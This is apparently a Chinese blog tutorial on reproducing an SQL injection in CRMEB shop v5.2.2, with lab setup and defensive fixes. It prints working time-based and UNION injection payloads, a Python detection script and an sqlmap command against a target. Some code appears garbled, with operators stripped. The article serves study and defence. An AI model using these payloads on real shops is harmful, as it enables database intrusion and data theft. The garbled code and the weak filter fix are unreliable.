CRMEB商城v5.2.2漏洞实战:手把手教你复现SQL注入(附POC脚本)

张开发
2026/4/24 17:20:23 15 分钟阅读

分享文章

CRMEB商城v5.2.2漏洞实战:手把手教你复现SQL注入(附POC脚本)
CRMEB商城SQL注入漏洞深度解析与实战复现指南漏洞背景与影响范围CRMEB作为国内广泛使用的开源电商系统其5.2.2版本中曝光的SQL注入漏洞CVE-2024-36837引起了安全社区的广泛关注。这个漏洞位于ProductController.php文件的getProductList方法中攻击者无需认证即可通过精心构造的HTTP请求获取数据库敏感信息。根据漏洞披露信息受影响的系统特征包括版本号v5.2.2及部分早期版本关键文件app/controller/ProductController.php漏洞函数getProductList()风险等级高危CVSS评分8.1漏洞原理与技术分析SQL注入点定位漏洞核心在于对selectId参数未进行充分过滤就直接拼接到SQL查询语句中。观察以下典型请求GET /api/products?limit20priceOrdersalesOrderselectId) HTTP/1.1系统后端处理时代码可能类似$selectId $_GET[selectId]; $sql SELECT * FROM products WHERE id IN ($selectId) ORDER BY sales;当攻击者输入)闭合IN语句的括号后可以注入任意SQL代码。更危险的是这个注入点位于ORDER BY之前使得攻击者可以完全控制查询逻辑。漏洞利用技术细节攻击者可以通过时间盲注技术探测数据库信息。例如GET /api/products?limit20selectId0*if(now()sysdate(),sleep(6),0) HTTP/1.1这个payload的工作原理0*确保原始查询语法正确if()函数判断条件是否成立sleep(6)作为可观测的延时效果整个表达式不影响查询结果但泄露信息实战复现环境搭建实验环境准备推荐使用以下配置进行安全测试虚拟机VirtualBox 6.1操作系统Ubuntu 20.04 LTS环境组件PHP 7.4MySQL 5.7Nginx 1.18安装CRMEB v5.2.2的步骤wget https://github.com/crmeb/CRMEB/archive/refs/tags/v5.2.2.zip unzip v5.2.2.zip cd CRMEB-5.2.2 chmod -R 755 public uploads runtime漏洞验证脚本以下是改进版的Python检测脚本增加更多检测维度import requests import time def check_vuln(url): test_cases [ (basic, /api/products?selectId), PDOConnection.php), (timebased, /api/products?selectId0*if(11,sleep(5),0), 5) ] for case in test_cases: try: start time.time() r requests.get(url case[1], timeout10) elapsed time.time() - start if case[0] basic: if case[2] in r.text: return True elif case[0] timebased: if elapsed case[2]: return True except: continue return False漏洞利用实战演示信息泄露利用通过联合查询可以提取数据库信息GET /api/products?selectId1) UNION SELECT 1,version(),3,4,5,6,7,8,9-- - HTTP/1.1典型响应可能包含MySQL版本信息数据库名称表结构信息自动化利用工具使用以下SQLmap命令进行自动化测试sqlmap -u http://target/api/products?limit20selectId1 \ --risk3 --level5 \ --batch --dbmsmysql \ --techniqueT重要参数说明--risk3启用危险测试--level5最大检测强度--techniqueT专注时间盲注防御方案与修复建议临时缓解措施在官方补丁发布前建议在Nginx配置中添加规则拦截恶意请求location ~* /api/products { if ($args ~* selectId.*[)\]) { return 403; } }修改控制器代码添加参数过滤$selectId str_replace([), (, , ], , $_GET[selectId]);长期解决方案升级到最新版本CRMEB团队已在后续版本修复此漏洞使用预处理语句改造所有SQL查询使用PDO预处理输入验证对所有用户输入实施严格的白名单验证WAF部署配置Web应用防火墙规则拦截SQL注入尝试企业安全防护体系建议针对电商系统的安全防护建议建立多层防御防护层级具体措施实施要点代码层安全编码规范输入验证、输出编码、预处理语句系统层服务器加固最小权限原则、定期更新补丁网络层WAF配置SQL注入规则、速率限制监控层日志审计异常请求监控、实时告警特别提醒开发团队定期进行代码安全审计建立漏洞响应流程对第三方组件保持版本更新实施持续的安全培训计划在实际项目中我们发现很多SQL注入漏洞都源于看似无害的排序、分页参数。建议开发团队特别关注这些边界点的安全处理。

更多文章